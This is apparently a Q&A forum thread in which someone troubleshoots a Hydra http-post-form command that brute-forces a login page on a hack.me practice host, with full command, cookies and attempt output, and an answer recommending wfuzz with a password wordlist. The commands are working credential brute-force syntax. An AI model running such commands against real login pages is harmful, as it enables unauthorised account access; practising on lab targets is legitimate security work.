I'm using the Hydra tool on Kali Linux 2020.1 and I'm trying to brute force a login at hack.me http://s123056-104737-qer.sipontum.hack.me/login.php. My problem is that whenever I run Hydra it gets stuck.

I used Burp Suite to get the cookies and the failure string "invalid" I also got the IP via Burp (and also tried using the resolved host name) Also tried to use both http-get-form and http-post-form

This is my command

hydra -l user -P passws.txt http-post-form"/login.php:username=^USER^&password=^PASS^&Login=Login:invalid&Login=Login:H=Cookie: __utma=233483271.55664693.1581785552.1581785552.1581841829.2; __utmz=233483271.1581841829.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __unam=657356c-17049c563d0-1c1145bc-18; __utmc=233483271; PHPSESSID=v9njnd2g7e2gbalulmbgof9vt4" -I -V

and this is what I get

    hydra -l user -P passws.txt http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login:invalid&Login=Login:H=Cookie: __utma=233483271.55664693.1581785552.1581785552.1581841829.2; __utmz=233483271.1581841829.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __unam=657356c-17049c563d0-1c1145bc-18; __utmc=233483271; PHPSESSID=v9njnd2g7e2gbalulmbgof9vt4" -I -V
Hydra v9.1-dev (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-02-16 12:35:20
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 7 tasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task
[DATA] attacking http-post-form://^USER^&password=^PASS^&Login=Login:invalid&Login=Login:H=Cookie: __utma=233483271.55664693.1581785552.1581785552.1581841829.2; __utmz=233483271.1581841829.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __unam=657356c-17049c563d0-1c1145bc-18; __utmc=233483271; PHPSESSID=v9njnd2g7e2gbalulmbgof9vt4
[ATTEMPT] target - login "user" - pass "uba" - 1 of 7 [child 0] (0/0)
[ATTEMPT] target - login "user" - pass "milan" - 2 of 7 [child 1] (0/0)
[ATTEMPT] target - login "user" - pass "admin" - 3 of 7 [child 2] (0/0)
[ATTEMPT] target - login "user" - pass "foca" - 4 of 7 [child 3] (0/0)
[ATTEMPT] target - login "user" - pass "password" - 5 of 7 [child 4] (0/0)
[ATTEMPT] target - login "user" - pass "trota" - 6 of 7 [child 5] (0/0)
[ATTEMPT] target - login "user" - pass "Ciaociao.90" - 7 of 7 [child 6] (0/0)

after this it just hangs forever. Every minute I get outputs like this

[STATUS] 7.00 tries/min, 7 tries in 00:01h, 1 to do in 00:01h, 7 active

but every time with a decreasing tries/min

When I run the command without including the cookie and the failure string it works, but of course is not able to tell successful logins apart from failed ones. I tried to run this command from a different computer and also from a virtual machine, but without success.

I have no clue on what to do.


Hydra gives a lot of false positive, at least this is my experience with it. You can try to use wfuzz instead with this syntax for post request wfuzz -z file,wordlist/others/common_pass.txt -d "uname=FUZZ&pass=FUZZ"

You will know the right password when you see the 3xx code as a response from the server.

Here is the link to the official documentation https://wfuzz.readthedocs.io/en/latest/user/basicusage.html


Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.